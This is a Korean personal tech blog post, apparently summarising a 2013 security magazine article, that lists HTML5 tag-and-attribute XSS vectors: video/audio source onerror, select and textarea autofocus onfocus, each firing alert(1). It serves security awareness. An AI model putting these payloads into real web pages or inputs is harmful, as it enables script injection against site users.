Notice
Recent Posts
Recent Comments
Link
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- application security
- xe guest utilities
- x-pack
- miniconda
- hardening
- 보안양파
- elastic stack
- ssh key 배포
- GitLab
- macos
- G-suite
- PlayBook
- Proxy
- endpoint security
- 로그인불가
- Kibana server is not ready yet
- ELASTIC
- ansible
- centos 8
- 한글가이드
- Windows
- freebsd
- pfsense
- bash
- proxycfg
- Elasticsearch
- Kibana
- XCP-ng
- docker
Archives
- Today
- Total
선 밖에 선 자유인
HTML5 신규 기능 및 보안 위협 본문
HTML5 신규 태그 및 속성들을 이용한 XSS 공격
<video><source onerror="alert(1)"></source></video>
<audio><source onerror="alert(1)"></source></audio>
<audio><source onerror="alert(1)"></source></audio>
<select autofocus onfocus="alert(1)">
<textarea autofocus onfocus="alert(1)">
출처: Internet & Security Focus 2013년 12월 호 포커스 HTML 신규 웹 서비스 환경에서의 보안 이슈
Comments